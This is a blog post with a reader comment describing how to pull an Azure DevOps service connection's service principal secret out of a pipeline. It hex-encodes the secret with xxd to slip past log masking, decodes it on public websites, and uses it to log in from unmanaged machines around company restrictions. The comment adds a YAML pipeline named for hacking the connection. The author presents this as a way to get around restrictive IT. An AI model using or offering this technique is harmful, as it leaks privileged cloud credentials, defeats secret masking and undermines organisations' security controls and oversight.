“Backdoor” in Azure DevOps to get the password of a Service Principal

The password of a Service Principal configured in Azure DevOps in a Service Connection is a secret and hidden. But it’s fairly easy to get the password of a Service Principal in Azure DevOps. It’s not a security bug or a backdoor. It’s a side effect and by design. It looks like leaving the keys in the keyhole. This blogpost tells you how to get the password. As soon as you can use Service Principal credentials, it’s possible to connect to Azure from any laptop, you don’t have to be using a laptop in the same domain as the company. An additional advantage is that you can use the tools you love and that make you productive.

key-3348307_960_720

Why

There are multiple types of working environments related to Azure and Azure DevOps.

A working environment which makes it easy for the development teams to bring value to the business. And working environments where adding value to the business seems irrelevant.

It seems some companies really want to make it as hard as possible to do your job:

  • Azure and Azure DevOps can only be reached from a company-laptop because of access restrictions. Azure and Azure DevOps can only be reached when your laptop is connected in the same Active Directory and connecting from the company-network.
  • A laptop where it’s not possible to install anything. You are allowed to install some software from a catalog. This catalog is clearly meant for business users. Not for developers. It’s not possible to install the Azure CLI, WSL and that kind of tooling. USB is not working, gmail, office.com and many other websites are blocked.
  • Access to Azure where all environments are read-only. So the Development, Test, Acceptance and Production environment are read-only. I’m all for making the acceptance and production environment read-only. Maybe even the Test environment. But when the Development environment is read-only as well. It becomes very hard to test something out as a development team. Or just configure all resources needed and check if they work all together.

In many enterprise situations, the Azure DevOps environment already contains the Service Connection to Azure. So the cloud platform team of the company has already configured the Service Connection with the information of a Service Principal. Because of this, the team doesn’t have the password.

Because all environments in Azure are Read-Only, the only possibility to provision all Azure resources of a project is by creating release pipelines in Azure DevOps. As you can imagine this is very time-consuming because all complex configuration has to be configured by executing the pipelines using trial and error. We can’t execute ARM templates or Bash scripts using the Azure CLI from our laptop because we don’t have the tooling and because we don’t have the access rights. Some companies offer custom Azure DevOps tasks to provision resources. These never fulfill all the requirements of an Azure Service. (oh you want to have a custom domain name and private and public certificates on the webapp as well. With a Managed Identity to access the Key Vault…..We don’t support that….)

It would be nice to be able to execute ARM templates and Scripts using the Azure CLI from a laptop first, where the developer can decide which tooling to use. And when these templates and scripts work, adjust the Release Pipeline to execute these templates and scripts. This way people are much more productive and the team can add value to the business much faster. Not to mention all the frustration that comes with it.

Of course, the companies have reasons (or better: think they have reasons) to shut down the area completely in this way, mainly related to security. But I think this is going much too far. I’ve been a member in cloud platform teams of enterprises as well. And we were able to have a secure environment and at the same time give development teams the trust, mandate and possibility to actually work. We empower the teams.

If only it would be possible to have the password of the Service Principal being used in the release pipeline. Then it’s possible to test the release from a local machine. It’s possible and this is how to get it:

How

We are going to use the Azure CLI task and are going to log the password to hex. The hex value can be converted to a string on a website. That will show the password:

Make sure you are running your pipeline using Ubuntu.

devopsagent.PNG

In your release pipeline add an Azure CLI task:

clitask

  1. Select the Service Connection to Azure.
  2. Configure the task to execute an inline script and add this script:
    echo "servicePrincipalId"
    xxd -p <<< $servicePrincipalId -c 256
    echo "servicePrincipalKey"
    xxd -p <<< $servicePrincipalKey -c 256
    echo "tenantId"
    xxd -p <<< $tenantId -c 256

    The script is converting the 3 values to hex. The password can’t be logged by using echo for example. You will see *** if you try.

  3. This is why we can get the password: Check “Access the service principal details in the script”.
  4. Execute the pipeline and have a look at the logging:
    azclilog.png
  5. Find a website that can convert Hex to string like https://onlinehextools.com/convert-hex-to-string or
    http://string-functions.com/hex-string.aspx
  6. Make sure that you copy the whole hex value. The hex value could be divided over 2 lines. You have to combine them manually. So from the sample above:
    the servicePrincipalId in hex: 31353837333462392d616136332d343366652d613235332d333566323164303635623831
    the servicePrincipalKey in hex:
    506f776572546f5468654465764f70735465616d
    Fill these hex values into the “hex-to-string-converter-website” above, and you will see the password in clear text.

Using the Service Principal

Like any service principal it’s easy to connect using the CLI or using Powershell. The good news is that it’s now possible to connect from any PC using the Service Principal. You don’t have to use a company-laptop which is configured in the same Active Directory where you can access the Azure Portal.

Using Powershell

$TenantId = "74f10b75-3f6c-4676-b13b-9b68b5145606"
$ApplicationId = "158734b9-aa63-43fe-a253-35f21d065b81"
$ServicePrincipalKey = ConvertTo-SecureString -String "PowerToTheDevOpsTeam" -AsPlainText -Force

$AzureADCred = New-Object System.Management.Automation.PSCredential($ApplicationId, $ServicePrincipalKey)
Connect-AzAccount -ServicePrincipal -Credential $AzureADCred -TenantId $TenantId

Using Azure CLI

TENANT_ID="74f10b75-3f6c-4676-b13b-9b68b5145606"
APP_ID="158734b9-aa63-43fe-a253-35f21d065b81"
PASSWORD="PowerToTheDevOpsTeam"

az login --service-principal --username $APP_ID --password $PASSWORD --tenant $TENANT_ID

 

To solve this problem

If you ask me, the solution to prevent this should not be found at the Azure DevOps or Azure side. The whole story of the Why in this blog post is that it leads to shadow IT. And this is really necessary. It’s simply not possible to do your job in such an environment.

So the solution should be found on the company side. Move to a more DevOps style of working. Make it possible for your teams to do their job. Apply guard rails. But let the teams be responsible and free. This will lead to more productive teams, less shadow it and less frustration.

Companies used to have one subscription for all their Azure related projects. Nowadays we use multiple subscriptions per project. At least a dev and prod subscription. So separated environments. Provisioning to prod always requires Infrastructure as Code. For teams that have read-only access to production: I wish you good luck with a production issue if you use a webapp for example. When Privileged Identity Management is applied to production. Users can get temporary access and is fully auditable.

There is no reason and strict rule to provision to dev using Infra as Code. Although it is possible of course. Developers have all rights on the dev subscription. Also in the Azure Portal. This way they can get innovative and try things out. All this stimulates trust in the teams and empowers the teams.

It will never be possible to have a fully safe environment. With that in mind, it’s a good idea to make all team member’s security-aware.

Spend the time the teams have now gained back on more secure applications and security awareness training.

Conclusion

Using a simple script and checking a checkbox on the Azure CLI task it’s easy to get the password of the Service Principal which is being configured in the Service Connections. Now it’s possible to be productive again and choose the tooling you love and are productive with.

Use this with good care. Some companies are using a Service Principal which has full subscription access rights as a contributor.

3 gedachtes over ““Backdoor” in Azure DevOps to get the password of a Service Principal

  1. Here’s a yaml version I wrote based on your blog post.
    Service Connection Name is provided by variable spn_to_hack defined in pipeline definition.
    ######################################################################
    ###
    ### getsecrets.yml
    ###
    ### Pipeline hack for getting existing secrets out of service connection
    ### https://pascalnaber.wordpress.com/2020/01/04/backdoor-in-azure-devops-to-get-the-password-of-a-service-principal/
    ######################################################################

    name: $(BuildDefinitionName)-$(Rev:rrr)

    trigger: none

    pool:
    name: ‘Azure Pipelines’
    vmImage: ‘ubuntu-latest’

    steps:
    – checkout: none
    – task: AzureCLI@2
    displayName: Azure CLI
    inputs:
    azureSubscription: $(spn_to_hack)
    scriptType: bash
    scriptLocation: inlineScript
    addSpnToEnvironment: true
    inlineScript: |
    echo “servicePrincipalId”
    xxd -p <<< $servicePrincipalId -c 256
    echo "servicePrincipalKey"
    xxd -p <<< $servicePrincipalKey -c 256
    echo "tenantId"
    xxd -p <<< $tenantId -c 256

    Like

Geef een reactie

Vul je gegevens in of klik op een icoon om in te loggen.

WordPress.com logo

Je reageert onder je WordPress.com account. Log uit /  Bijwerken )

Twitter-afbeelding

Je reageert onder je Twitter account. Log uit /  Bijwerken )

Facebook foto

Je reageert onder je Facebook account. Log uit /  Bijwerken )

Verbinden met %s

Deze site gebruikt Akismet om spam te bestrijden. Ontdek hoe de data van je reactie verwerkt wordt.